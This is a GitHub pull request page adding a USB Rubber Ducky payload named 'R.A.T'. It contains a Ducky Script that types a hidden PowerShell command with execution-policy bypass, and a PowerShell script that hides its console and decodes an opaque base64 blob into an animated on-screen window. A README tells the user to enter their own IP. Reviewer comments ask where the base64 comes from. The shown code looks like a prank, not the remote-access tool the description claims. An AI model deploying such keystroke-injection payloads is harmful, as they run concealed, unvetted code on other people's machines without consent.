-
Notifications
You must be signed in to change notification settings - Fork 1.4k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
New Payload - R.A.T #429
base: master
Are you sure you want to change the base?
New Payload - R.A.T #429
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
function Hide-ConsoleWindow() { | ||
$ShowWindowAsyncCode = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' | ||
$ShowWindowAsync = Add-Type -MemberDefinition $ShowWindowAsyncCode -name Win32ShowWindowAsync -namespace Win32Functions -PassThru | ||
|
||
$hwnd = (Get-Process -PID $pid).MainWindowHandle | ||
if ($hwnd -ne [System.IntPtr]::Zero) { | ||
# When you got HWND of the console window: | ||
# (It would appear that Windows Console Host is the default terminal application) | ||
$ShowWindowAsync::ShowWindowAsync($hwnd, 0) | ||
} else { | ||
# When you failed to get HWND of the console window: | ||
# (It would appear that Windows Terminal is the default terminal application) | ||
|
||
# Mark the current console window with a unique string. | ||
$UniqueWindowTitle = New-Guid | ||
$Host.UI.RawUI.WindowTitle = $UniqueWindowTitle | ||
$StringBuilder = New-Object System.Text.StringBuilder 1024 | ||
|
||
# Search the process that has the window title generated above. | ||
$TerminalProcess = (Get-Process | Where-Object { $_.MainWindowTitle -eq $UniqueWindowTitle }) | ||
# Get the window handle of the terminal process. | ||
# Note that GetConsoleWindow() in Win32 API returns the HWND of | ||
# powershell.exe itself rather than the terminal process. | ||
# When you call ShowWindowAsync(HWND, 0) with the HWND from GetConsoleWindow(), | ||
# the Windows Terminal window will be just minimized rather than hidden. | ||
$hwnd = $TerminalProcess.MainWindowHandle | ||
if ($hwnd -ne [System.IntPtr]::Zero) { | ||
$ShowWindowAsync::ShowWindowAsync($hwnd, 0) | ||
} else { | ||
Write-Host "Failed to hide the console window." | ||
} | ||
} | ||
} | ||
Hide-ConsoleWindow; | ||
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms"); | ||
Add-Type -Assembly PresentationFramework | ||
$I = New-Object System.IO.MemoryStream(,[Convert]::FromBase64String('H4sIAAAAAAAEAOVca49kRXL9K1ftr77VmZFvxIzEjs3a0rC2GNZr+VtvUTAtarpRVwMDv97nnMhb/bCxgJXZRTuI7lt1781HZGTEiROR/eGfrm8+v/1uef/ueHN6cfH2/v7rDy4vT/u3h3dXp9276/3d7en2i/vd/vbd5XfXN1+8v7QQ6uX7q3fHy6/vDqfDzf3V/fXtzYW38MH7n9fGxfKn68/v3764SBYuln85XH/59v7FheXAGxzYm/vvj4cXF3+4vTlcLB8dj7ffnT67u7o5fX11d7jZf//i4rO7b3Dnd1f7r768u/3m5nN+s92/v1g+u/363e3pfnvuzdvb7/715rOr01d/vrp7cfHx1fGEbz89nK5/OHxy+7l68k8XLz/8/d315y8//I/rw3d/vn2/vP/gD1fv8MD8jLbu7w73e4z9jzfXX9zevcMbr65uvr06bXOq+dGccscHv797ffgC3zx8xiD1EQO5+fxwpwmwxX+7u/7y+ga3duUf8f+v18Hu2XMvPzxf/h5S/vrlh2/2V8fD+cuzcD6FWHjnP19cxIvLlx9ePn/v8sc6OH9/uv3mbn844eV/v7p/u3x8fTy+uPiHjz9+9Wrgn8R++9Xhs7fX+69uDifobNq+02NB/7avPrm+P9y9vn53DXHEcOFt7v7p6v7KL39/uH13uL/7Ht18+Q3U+cXFJ7nuUiyLWdlFS8uyD0tYw66luuBnzWvcjdEW28WQ92vb5WZL240UV7yRC9/clVTWlHYptSXnXal6sHfjvWCDH1JarO/KEpaS0UkseDovyX/Vvlhdet3Vip4yftV97PyE3lOypcZdHmONibeW1nmF7/ex7kqIGCgfSgMjHRhpr0tp+Cot6CZzTrGpn4ihNg4gVV7U4Bd7THWxsNqSV/ba92usK0dTVwwaDa3ewFqSP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1/SmLa4jVapq5Tqo2N0rIFzPq86c6HyyrG6YZVJh1nN5npH3VHuss1/ND7goSR6KuR4rCT0RtSSk09HklXgIzqFtcM+rjGPXhjEaZN8agDxHf0im4zxd1fmy1JR6LV/jlciatuuPEpReCOOLNKuj5YJUSpAbk8eBhdWqBiWdQKSqgoeYt85yZqNj+KILMSvhGZVYHVnTYMzlIR/3m84QS5RFOwBee6+K81WokrvBTbCYYNN5YLPp/pqstskG5qKCZp0VCrJpSYlcxWZRnt40cz9SN7w2WS6iynAFIVYfl4o1H65fP4NFvwQL/nX+OAyECmmQlWXpzaQ5abuUXu/iAqoKRXI5zS1sk+fhGUPGnOlUdZKJTALZ6A7Iz4JjUil1zOMy9MxDJQ1ev+H1QUoAzcMYWX9TIMmWZTmG87Wo5cC/ZMEAoC5PRv1LhP3Z4f397463+6+Wj29v7t9c/4BXE+T48e3dYfuzSw9s4//5V4hGOPOWlUvBpj86Xn958+5wg6df4efh7uL8B4X++AiV42L+8SVc+R9nuvS/EvXyvwHmTtBnx0oAAA==')) | ||
$O = New-Object System.IO.MemoryStream; | ||
$Z = New-Object System.IO.Compression.GzipStream $I, ([IO.Compression.CompressionMode]::Decompress); | ||
$Z.CopyTo($O); | ||
$Z.Close(); | ||
$I.Close(); | ||
$GR = $true; | ||
$S = [System.Windows.Forms.Screen]::PrimaryScreen; | ||
$W = [Windows.Markup.XamlReader]::Load((New-Object System.Xml.XmlNodeReader([xml][System.Text.Encoding]::UTF8.GetString($O.ToArray())))); | ||
$O.Close(); | ||
$R = $W.FindName("R"); | ||
$X = $W.FindName("U"); | ||
$X.Text = "$U`n$([char]64)$IP`n$([char]105+[char]115+[char]32+[char]97+[char]32+[char]82+[char]97+[char]116)"; | ||
$H = [Windows.Input.MouseButtonEventHandler]{$W.Close();$_.Handled=$true;} | ||
$W.Add_MouseRightButtonDown($H); | ||
$W.Left = $S.WorkingArea.Left; | ||
$W.Top = $S.Bounds.Height - $W.Height; | ||
$T = New-Object System.Windows.Forms.Timer; | ||
$T.Interval = 100; | ||
$T.add_Tick({if($GR){if(($W.Left+5)-lt($S.WorkingArea.Width-$W.Width)){$W.Left=($W.Left+5)}else{$R.ScaleX=-1;$script:GR=!$GR;$X.Margin = [System.Windows.Thickness]"100,0,0,0" }}else{if(($W.Left-5)-gt0){$W.Left=($W.Left-5)}else{$R.ScaleX=1;$script:GR=!$GR;$X.Margin = [System.Windows.Thickness]"0"}}}); | ||
$W.Add_Closing({$T.Stop();$T.Dispose();}) | ||
$T.Start(); | ||
$W.ShowDialog(); |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
REM TITLE R.A.T | ||
REM AUTHOR TRIBBIC | ||
REM DESCRIPTION Set up a R.A.T on the target windows machine | ||
REM DUCKY SCRIPT 3 | ||
|
||
REM USERNAME to login to the R.A.T | ||
DEFINE #USERNAME name | ||
REM Your IP Address use https://www.ipchicken.com/ to get your IP | ||
DEFINE #IPADDRESS 192.168.1.1 | ||
ATTACKMODE HID STORAGE | ||
EXTENSION DETECT_READY | ||
REM VERSION 1.1 | ||
REM AUTHOR: Korben | ||
|
||
REM_BLOCK DOCUMENTATION | ||
USAGE: | ||
Extension runs inline (here) | ||
Place at beginning of payload (besides ATTACKMODE) to act as dynamic | ||
boot delay | ||
|
||
TARGETS: | ||
Any system that reflects CAPSLOCK will detect minimum required delay | ||
Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms | ||
END_REM | ||
|
||
REM CONFIGURATION: | ||
DEFINE #RESPONSE_DELAY 25 | ||
DEFINE #ITERATION_LIMIT 120 | ||
|
||
VAR $C = 0 | ||
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) | ||
CAPSLOCK | ||
DELAY #RESPONSE_DELAY | ||
$C = ($C + 1) | ||
END_WHILE | ||
CAPSLOCK | ||
END_EXTENSION | ||
|
||
GUI r | ||
DELAY 200 | ||
STRINGLN powershell -Noni -NoP -W h -EP Bypass $U='#USERNAME';$IP='#IPADDRESS'; iex((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter+':\R.ps1') | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I would suggest using a DEFINE for those who may not be using the default drive label of "DUCKY" you would do this by adding to the top of the payload: |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
# RAT | ||
- Author: TRIBBIC | ||
- Version: 1.0 | ||
- Target: Windows 10 (Powershell 5.1+) | ||
- Category: Execution | ||
- Attackmode: HID & Storage | ||
- Ducky Script Version: 3 | ||
|
||
## Setup | ||
In the payload.txt change the two DEFINE's | ||
|
||
\#USERNAME Should be your login name | ||
|
||
\#IPADDRESS Should be your IP Address | ||
|
||
## Description | ||
Create a R.A.T using Windows Powershell on Targets PC | ||
|
||
## Change Log | ||
| Version | Changes | | ||
| ------- | --------------- | | ||
| 1.0 | Initial release | |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please either provide the source or explain how this base64 is derived.